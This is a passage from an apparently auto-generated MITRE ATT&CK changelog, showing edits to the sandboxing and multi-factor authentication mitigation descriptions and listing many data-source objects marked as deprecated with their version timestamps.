| > | ment to ensure any compromise does not affect the host syste | > | Consider controls that monitor or restrict script-based fil | ||
| > | m. - Implementation: Use application virtualization platform | > | e generation and downloads commonly abused in evasion techni | ||
| > | s to run applications in isolated environments. Email Attac | > | ques like HTML smuggling. Application Virtualization: - Us | ||
| > | hment Sandboxing: - Use Case: Route email attachments to a | > | e Case: Deploy critical or high-risk applications in a virtu | ||
| > | sandbox environment to detect and block malware before deliv | > | alized environment to ensure any compromise does not affect | ||
| > | ering emails to end-users. - Implementation: Integrate secur | > | the host system. - Implementation: Use application virtualiz | ||
| > | ity solutions with sandbox capabilities to analyze email att | > | ation platforms to run applications in isolated environments | ||
| > | achments. Endpoint Sandboxing: - Use Case: Run all downloa | > | . Email Attachment Sandboxing: - Use Case: Route email att | ||
| > | ded files and applications in a restricted environment to mo | > | achments to a sandbox environment to detect and block malwar | ||
| > | nitor their behavior for malicious activity. - Implementatio | > | e before delivering emails to end-users. - Implementation: I | ||
| > | n: Use endpoint protection tools for sandboxing at the endpo | > | ntegrate security solutions with sandbox capabilities to ana | ||
| > | int level. | > | lyze email attachments. Endpoint Sandboxing: - Use Case: R | ||
| > | un all downloaded files and applications in a restricted env | ||||
| > | ironment to monitor their behavior for malicious activity. - | ||||
| > | Implementation: Use endpoint protection tools for sandboxin | ||||
| > | g at the endpoint level. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-12-10 16:09:19.285000+00:00 | 2025-05-09 16:23:40.086000+00:00 |
| description | Application Isolation and Sandboxing refers to the technique of restricting the execution of code to a controlled and isolated environment (e.g., a virtual environment, container, or sandbox). This method prevents potentially malicious code from affecting the rest of the system or network by limiting access to sensitive resources and critical operations. The goal is to contain threats and minimize their impact. This mitigation can be implemented through the following measures: + +Browser Sandboxing: + +- Use Case: Implement browser sandboxing to isolate untrusted web content, preventing malicious web pages or scripts from accessing sensitive system files. +- Implementation: Use tools like Google Chrome's built-in sandbox or deploy solutions like Bromium to secure user web interactions. + +Application Virtualization: + +- Use Case: Deploy critical or high-risk applications in a virtualized environment to ensure any compromise does not affect the host system. +- Implementation: Use application virtualization platforms to run applications in isolated environments. + +Email Attachment Sandboxing: + +- Use Case: Route email attachments to a sandbox environment to detect and block malware before delivering emails to end-users. +- Implementation: Integrate security solutions with sandbox capabilities to analyze email attachments. + +Endpoint Sandboxing: + +- Use Case: Run all downloaded files and applications in a restricted environment to monitor their behavior for malicious activity. +- Implementation: Use endpoint protection tools for sandboxing at the endpoint level. | Application Isolation and Sandboxing refers to the technique of restricting the execution of code to a controlled and isolated environment (e.g., a virtual environment, container, or sandbox). This method prevents potentially malicious code from affecting the rest of the system or network by limiting access to sensitive resources and critical operations. The goal is to contain threats and minimize their impact. This mitigation can be implemented through the following measures: + +Browser Sandboxing: + +- Use Case: Implement browser sandboxing to isolate untrusted web content and prevent malicious web pages or scripts from accessing sensitive system resources or initiating unauthorized downloads. +- Implementation: Use browsers with built-in sandboxing features (e.g., Google Chrome, Microsoft Edge) or deploy enhanced browser security frameworks that limit the execution scope of active content. Consider controls that monitor or restrict script-based file generation and downloads commonly abused in evasion techniques like HTML smuggling. + +Application Virtualization: + +- Use Case: Deploy critical or high-risk applications in a virtualized environment to ensure any compromise does not affect the host system. +- Implementation: Use application virtualization platforms to run applications in isolated environments. + +Email Attachment Sandboxing: + +- Use Case: Route email attachments to a sandbox environment to detect and block malware before delivering emails to end-users. +- Implementation: Integrate security solutions with sandbox capabilities to analyze email attachments. + +Endpoint Sandboxing: + +- Use Case: Run all downloaded files and applications in a restricted environment to monitor their behavior for malicious activity. +- Implementation: Use endpoint protection tools for sandboxing at the endpoint level. |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.1
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Multi-Factor Authentication (MFA) enhances security by requi | t | 1 | Multi-Factor Authentication (MFA) enhances security by requi |
| > | ring users to provide at least two forms of verification to | > | ring users to provide at least two forms of verification to | ||
| > | prove their identity before granting access. These factors t | > | prove their identity before granting access. These factors t | ||
| > | ypically include: - *Something you know*: Passwords, PINs. | > | ypically include: - *Something you know*: Passwords, PINs. | ||
| > | - *Something you have*: Physical tokens, smartphone authenti | > | - *Something you have*: Physical tokens, smartphone authenti | ||
| > | cator apps. - *Something you are*: Biometric data such as fi | > | cator apps. - *Something you are*: Biometric data such as fi | ||
| > | ngerprints, facial recognition, or retinal scans. Implement | > | ngerprints, facial recognition, or retinal scans. Implement | ||
| > | ing MFA across all critical systems and services ensures rob | > | ing MFA across all critical systems and services ensures rob | ||
| > | ust protection against account takeover and unauthorized acc | > | ust protection against account takeover and unauthorized acc | ||
| > | ess. This mitigation can be implemented through the followin | > | ess. This mitigation can be implemented through the followin | ||
| > | g measures: Identity and Access Management (IAM): - Use IA | > | g measures: Identity and Access Management (IAM): - Use IA | ||
| > | M solutions like Azure Active Directory, Okta, or AWS IAM to | > | M solutions like Azure Active Directory, Okta, or AWS IAM to | ||
| > | enforce MFA policies for all user logins, especially for pr | > | enforce MFA policies for all user logins, especially for pr | ||
| > | ivileged roles. - Enable conditional access policies to enfo | > | ivileged roles. - Enable conditional access policies to enfo | ||
| > | rce MFA for risky sign-ins (e.g., unfamiliar devices, geoloc | > | rce MFA for risky sign-ins (e.g., unfamiliar devices, geoloc | ||
| > | ations). Authentication Tools and Methods: - Use authentic | > | ations). - Enable Conditional Access policies to only allow | ||
| > | ator applications such as Google Authenticator, Microsoft Au | > | logins from trusted devices, such as those enrolled in Intun | ||
| > | thenticator, or Authy for time-based one-time passwords (TOT | > | e or joined via Hybrid/Entra. Authentication Tools and Meth | ||
| > | P). - Deploy hardware-based tokens like YubiKey, RSA SecurID | > | ods: - Use authenticator applications such as Google Authen | ||
| > | , or smart cards for additional security. - Enforce biometri | > | ticator, Microsoft Authenticator, or Authy for time-based on | ||
| > | c authentication for compatible devices and applications. S | > | e-time passwords (TOTP). - Deploy hardware-based tokens like | ||
| > | ecure Legacy Systems: - Integrate MFA solutions with older | > | YubiKey, RSA SecurID, or smart cards for additional securit | ||
| > | systems using third-party tools like Duo Security or Thales | > | y. - Enforce biometric authentication for compatible devices | ||
| > | SafeNet. - Enable RADIUS/NPS servers to facilitate MFA for V | > | and applications. Secure Legacy Systems: - Integrate MFA | ||
| > | PNs, RDP, and other network logins. Monitoring and Alerting | > | solutions with older systems using third-party tools like Du | ||
| > | : - Use SIEM tools to monitor failed MFA attempts, login an | > | o Security or Thales SafeNet. - Enable RADIUS/NPS servers to | ||
| > | omalies, or brute-force attempts against MFA systems. - Impl | > | facilitate MFA for VPNs, RDP, and other network logins. Mo | ||
| > | ement alerts for suspicious MFA activities, such as repeated | > | nitoring and Alerting: - Use SIEM tools to monitor failed M | ||
| > | failed codes or new device registrations. Training and Pol | > | FA attempts, login anomalies, or brute-force attempts agains | ||
| > | icy Enforcement: - Educate employees on the importance of M | > | t MFA systems. - Implement alerts for suspicious MFA activit | ||
| > | FA and secure authenticator usage. - Enforce policies that r | > | ies, such as repeated failed codes or new device registratio | ||
| > | equire MFA on all critical systems, especially for remote ac | > | ns. Training and Policy Enforcement: - Educate employees o | ||
| > | cess, privileged accounts, and cloud applications. | > | n the importance of MFA and secure authenticator usage. - En | ||
| > | force policies that require MFA on all critical systems, esp | ||||
| > | ecially for remote access, privileged accounts, and cloud ap | ||||
| > | plications. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-02 17:29:15.914000+00:00 | 2025-05-09 15:48:18.053000+00:00 |
| description | Multi-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access. These factors typically include: + +- *Something you know*: Passwords, PINs. +- *Something you have*: Physical tokens, smartphone authenticator apps. +- *Something you are*: Biometric data such as fingerprints, facial recognition, or retinal scans. + +Implementing MFA across all critical systems and services ensures robust protection against account takeover and unauthorized access. This mitigation can be implemented through the following measures: + +Identity and Access Management (IAM): + +- Use IAM solutions like Azure Active Directory, Okta, or AWS IAM to enforce MFA policies for all user logins, especially for privileged roles. +- Enable conditional access policies to enforce MFA for risky sign-ins (e.g., unfamiliar devices, geolocations). + +Authentication Tools and Methods: + +- Use authenticator applications such as Google Authenticator, Microsoft Authenticator, or Authy for time-based one-time passwords (TOTP). +- Deploy hardware-based tokens like YubiKey, RSA SecurID, or smart cards for additional security. +- Enforce biometric authentication for compatible devices and applications. + +Secure Legacy Systems: + +- Integrate MFA solutions with older systems using third-party tools like Duo Security or Thales SafeNet. +- Enable RADIUS/NPS servers to facilitate MFA for VPNs, RDP, and other network logins. + +Monitoring and Alerting: + +- Use SIEM tools to monitor failed MFA attempts, login anomalies, or brute-force attempts against MFA systems. +- Implement alerts for suspicious MFA activities, such as repeated failed codes or new device registrations. + +Training and Policy Enforcement: + +- Educate employees on the importance of MFA and secure authenticator usage. +- Enforce policies that require MFA on all critical systems, especially for remote access, privileged accounts, and cloud applications. | Multi-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access. These factors typically include: + +- *Something you know*: Passwords, PINs. +- *Something you have*: Physical tokens, smartphone authenticator apps. +- *Something you are*: Biometric data such as fingerprints, facial recognition, or retinal scans. + +Implementing MFA across all critical systems and services ensures robust protection against account takeover and unauthorized access. This mitigation can be implemented through the following measures: + +Identity and Access Management (IAM): + +- Use IAM solutions like Azure Active Directory, Okta, or AWS IAM to enforce MFA policies for all user logins, especially for privileged roles. +- Enable conditional access policies to enforce MFA for risky sign-ins (e.g., unfamiliar devices, geolocations). +- Enable Conditional Access policies to only allow logins from trusted devices, such as those enrolled in Intune or joined via Hybrid/Entra. + +Authentication Tools and Methods: + +- Use authenticator applications such as Google Authenticator, Microsoft Authenticator, or Authy for time-based one-time passwords (TOTP). +- Deploy hardware-based tokens like YubiKey, RSA SecurID, or smart cards for additional security. +- Enforce biometric authentication for compatible devices and applications. + +Secure Legacy Systems: + +- Integrate MFA solutions with older systems using third-party tools like Duo Security or Thales SafeNet. +- Enable RADIUS/NPS servers to facilitate MFA for VPNs, RDP, and other network logins. + +Monitoring and Alerting: + +- Use SIEM tools to monitor failed MFA attempts, login anomalies, or brute-force attempts against MFA systems. +- Implement alerts for suspicious MFA activities, such as repeated failed codes or new device registrations. + +Training and Policy Enforcement: + +- Educate employees on the importance of MFA and secure authenticator usage. +- Enforce policies that require MFA on all critical systems, especially for remote access, privileged accounts, and cloud applications. |
Current version: 1.0
Description:
A database and set of services that allows administrators to manage permissions, access to network resources, and stored data objects (user, group, application, or devices)(Citation: Microsoft AD DS Getting Started)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:49:52.686000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.1
Description:
Events collected by third-party services such as mail servers, web applications, or other appliances (not by the native OS or platform)(Citation: Confluence Logs)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:40:03.068000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.0
Description:
A digital document, which highlights information such as the owner's identity, used to instill trust in public keys used while encrypting network communications
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:49:54.643000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.0
Description:
Infrastructure, platforms, or software that are hosted on-premise or by third-party providers, made available to users through network connections and/or APIs(Citation: Amazon AWS)(Citation: Azure Products)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-11-17 19:41:14.066000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.0
Description:
Data object storage infrastructure hosted on-premise or by third-party providers, made available to users through network connections and/or APIs(Citation: Amazon S3)(Citation: Azure Blob Storage)(Citation: Google Cloud Storage)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-11-17 19:42:50.489000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.2
Description:
A directive given to a computer program, acting as an interpreter of some kind, in order to perform a specific task(Citation: Confluence Linux Command Line)(Citation: Audit OSX)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:11:26.880000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.0
Description:
A standard unit of virtualized software that packages up code and all its dependencies so the application runs quickly and reliably from one computing environment to another(Citation: Docker Docs Container)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-12-24 18:06:47.351000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.0
Description:
Information obtained (commonly through registration or activity logs) regarding one or more IP addresses registered with human readable names (ex: mitre.org)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:49:57.359000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.0
Description:
A non-volatile data storage device (hard drive, floppy disk, USB flash drive) with at least one formatted partition, typically mounted to the file system and/or assigned a drive letter(Citation: Sysmon EID 9)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:40:06.700000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.0
Description:
A computer program that operates or controls a particular type of device that is attached to a computer. Provides a software interface to hardware devices, enabling operating systems and other computer programs to access hardware functions without needing to know precise details about the hardware being used(Citation: IOKit Fundamentals)(Citation: Windows Getting Started Drivers)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:49:53.761000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.1
Description:
A computer resource object, managed by the I/O system, for storing data (such as images, text, videos, computer programs, or any wide variety of other media).(Citation: Microsoft File Mgmt)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:10:04.845000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.1
Description:
A network security system, running locally on an endpoint or remotely as a service (ex: cloud environment), that monitors and controls incoming/outgoing network traffic based on predefined rules(Citation: AWS Sec Groups VPC)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:49:58.457000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.0
Description:
Computer software that provides low-level control for the hardware and device(s) of a host, such as BIOS or UEFI/EFI
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:40:07.251000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.0
Description:
A collection of multiple user accounts that share the same access rights to the computer and/or network resources and have common security rights(Citation: Amazon IAM Groups)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:49:55.737000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.0
Description:
A single file used to deploy a virtual machine/bootable disk into an on-premise or third-party cloud environment(Citation: Microsoft Image)(Citation: Amazon AMI)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:49:56.103000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.0
Description:
A virtual server environment which runs workloads, hosted on-premise or by third-party cloud providers(Citation: Amazon VM)(Citation: Google VM)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-11-17 19:40:29.066000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.0
Description:
Information obtained (commonly via active network traffic probes or web crawling) regarding various types of resources and servers connected to the public Internet
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:49:51.440000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.0
Description:
A computer program, at the core of a computer OS, that resides in memory and facilitates interactions between hardware and software components(Citation: STIG Audit Kernel Modules)(Citation: Init Man Page)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:49:57.731000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.2
Description:
Logon occurring on a system or resource (local, domain, or cloud) to which a user/device is gaining access after successful authentication and authorization(Citation: Microsoft Audit Logon Events)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:12:19.778000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.1
Description:
Information obtained (via shared or submitted samples) regarding malicious software (droppers, backdoors, etc.) used by adversaries
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:39:11.272000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.0
Description:
Executable files consisting of one or more shared classes and interfaces, such as portable executable (PE) format binaries/dynamic link libraries (DLL), executable and linkable format (ELF) binaries/shared libraries, and Mach-O format binaries/shared libraries(Citation: Microsoft LoadLibrary)(Citation: Microsoft Module Class)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:40:06.151000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.0
Description:
Mechanisms that allow inter-process communication locally or over the network. A named pipe is usually found as a file and processes attach to it(Citation: Microsoft Named Pipes)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:49:53.223000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.0
Description:
A storage resource (typically a folder or drive) made available from one host to others using network protocols, such as Server Message Block (SMB) or Network File System (NFS)(Citation: Microsoft NFS Overview)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:40:03.613000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.2
Description:
Data transmitted across a network (ex: Web, DNS, Mail, File, etc.), that is either summarized (ex: Netflow) and/or captured as raw data in an analyzable format (ex: PCAP)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:11:13.424000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.0
Description:
A malicious online profile representing a user commonly used by adversaries to social engineer or otherwise target victims
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:49:58.095000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.0
Description:
A single unit of shared resources within a cluster, comprised of one or more containers(Citation: Kube Kubectl)(Citation: Kube Pod)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:49:58.983000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.2
Description:
Instances of computer programs that are being executed by at least one thread. Processes have memory space for process executables, loaded modules (DLLs or shared libraries), and allocated memory regions containing everything from user input to application-specific data structures(Citation: Microsoft Processes and Threads)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:10:24.655000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.1
Description:
Automated tasks that can be executed at a specific time or on a recurring schedule running in the background (ex: Cron daemon, task scheduler, BITS)(Citation: Microsoft Tasks)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:40:05.238000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.2
Description:
A file or stream containing a list of commands, allowing them to be launched in sequence(Citation: Microsoft PowerShell Logging)(Citation: FireEye PowerShell Logging)(Citation: Microsoft AMSI)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:12:42.967000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.1
Description:
Information from host telemetry providing insights about system status, errors, or other notable functional activity
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:39:11.418000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.1
Description:
A computer process that is configured to execute continuously in the background and perform system tasks, in some cases before any user has logged in(Citation: Microsoft Services)(Citation: Linux Services Run Levels)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:40:04.346000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.0
Description:
A point-in-time copy of cloud volumes (files, settings, etc.) that can be created and/or deployed in cloud environments(Citation: Microsoft Snapshot)(Citation: Amazon Snapshots)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:49:55.198000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.2
Description:
A profile representing a user, device, service, or application used to authenticate and access resources
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:09:38.667000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.0
Description:
Block object storage hosted on-premise or by third-party providers, typically made available to resources as virtualized hard drives(Citation: Amazon S3)(Citation: Azure Blob Storage)(Citation: Google Cloud Storage)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-11-17 19:42:50.490000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.0
Description:
The infrastructure for management data and operations that enables local and remote management of Windows personal computers and servers(Citation: Microsoft WMI System Classes)(Citation: Microsoft WMI Architecture)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:49:56.995000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.0
Description:
Credential material, such as session cookies or tokens, used to authenticate to web applications and services(Citation: Medium Authentication Tokens)(Citation: Auth0 Access Tokens)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:49:51.076000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.0
Description:
A Windows OS hierarchical database that stores much of the information and settings for software programs, hardware devices, user preferences, and operating-system configurations(Citation: Microsoft Registry)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:40:05.783000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.0
Description:
Application vetting report generated by an external cloud service.
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:22:20.420000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.2
Description:
A directive given to a computer program, acting as an interpreter of some kind, in order to perform a specific task(Citation: Confluence Linux Command Line)(Citation: Audit OSX)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:11:26.880000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.2
Description:
Data transmitted across a network (ex: Web, DNS, Mail, File, etc.), that is either summarized (ex: Netflow) and/or captured as raw data in an analyzable format (ex: PCAP)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:11:13.424000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.2
Description:
Instances of computer programs that are being executed by at least one thread. Processes have memory space for process executables, loaded modules (DLLs or shared libraries), and allocated memory regions containing everything from user input to application-specific data structures(Citation: Microsoft Processes and Threads)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:10:24.655000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.1
Description:
Information from host telemetry providing insights about system status, errors, or other notable functional activity
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:39:11.418000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.0
Description:
Visual activity on the device that could alert the user to potentially malicious behavior.
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:22:20.681000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.1
Description:
Events collected by third-party services such as mail servers, web applications, or other appliances (not by the native OS or platform)(Citation: Confluence Logs)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:40:03.068000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.0
Description:
Data sources with information about the set of devices found within the network, along with their current software and configurations
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:26:35.809000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.2
Description:
A directive given to a computer program, acting as an interpreter of some kind, in order to perform a specific task(Citation: Confluence Linux Command Line)(Citation: Audit OSX)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:11:26.880000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.0
Description:
A non-volatile data storage device (hard drive, floppy disk, USB flash drive) with at least one formatted partition, typically mounted to the file system and/or assigned a drive letter(Citation: Sysmon EID 9)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:40:06.700000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.1
Description:
A computer resource object, managed by the I/O system, for storing data (such as images, text, videos, computer programs, or any wide variety of other media).(Citation: Microsoft File Mgmt)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:10:04.845000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.0
Description:
Computer software that provides low-level control for the hardware and device(s) of a host, such as BIOS or UEFI/EFI
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:40:07.251000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.2
Description:
Logon occurring on a system or resource (local, domain, or cloud) to which a user/device is gaining access after successful authentication and authorization(Citation: Microsoft Audit Logon Events)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:12:19.778000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.0
Description:
Executable files consisting of one or more shared classes and interfaces, such as portable executable (PE) format binaries/dynamic link libraries (DLL), executable and linkable format (ELF) binaries/shared libraries, and Mach-O format binaries/shared libraries(Citation: Microsoft LoadLibrary)(Citation: Microsoft Module Class)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:40:06.151000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.0
Description:
A storage resource (typically a folder or drive) made available from one host to others using network protocols, such as Server Message Block (SMB) or Network File System (NFS)(Citation: Microsoft NFS Overview)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:40:03.613000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.2
Description:
Data transmitted across a network (ex: Web, DNS, Mail, File, etc.), that is either summarized (ex: Netflow) and/or captured as raw data in an analyzable format (ex: PCAP)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:11:13.424000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.0
Description:
Operational databases contain information about the status of the operational process and associated devices, including any measurements, events, history, or alarms that have occurred
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:26:35.400000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.2
Description:
Instances of computer programs that are being executed by at least one thread. Processes have memory space for process executables, loaded modules (DLLs or shared libraries), and allocated memory regions containing everything from user input to application-specific data structures(Citation: Microsoft Processes and Threads)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:10:24.655000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.1
Description:
Automated tasks that can be executed at a specific time or on a recurring schedule running in the background (ex: Cron daemon, task scheduler, BITS)(Citation: Microsoft Tasks)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:40:05.238000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.2
Description:
A file or stream containing a list of commands, allowing them to be launched in sequence(Citation: Microsoft PowerShell Logging)(Citation: FireEye PowerShell Logging)(Citation: Microsoft AMSI)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:12:42.967000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.1
Description:
A computer process that is configured to execute continuously in the background and perform system tasks, in some cases before any user has logged in(Citation: Microsoft Services)(Citation: Linux Services Run Levels)
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:40:04.346000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.2
Description:
A profile representing a user, device, service, or application used to authenticate and access resources
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:09:38.667000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.0
Description:
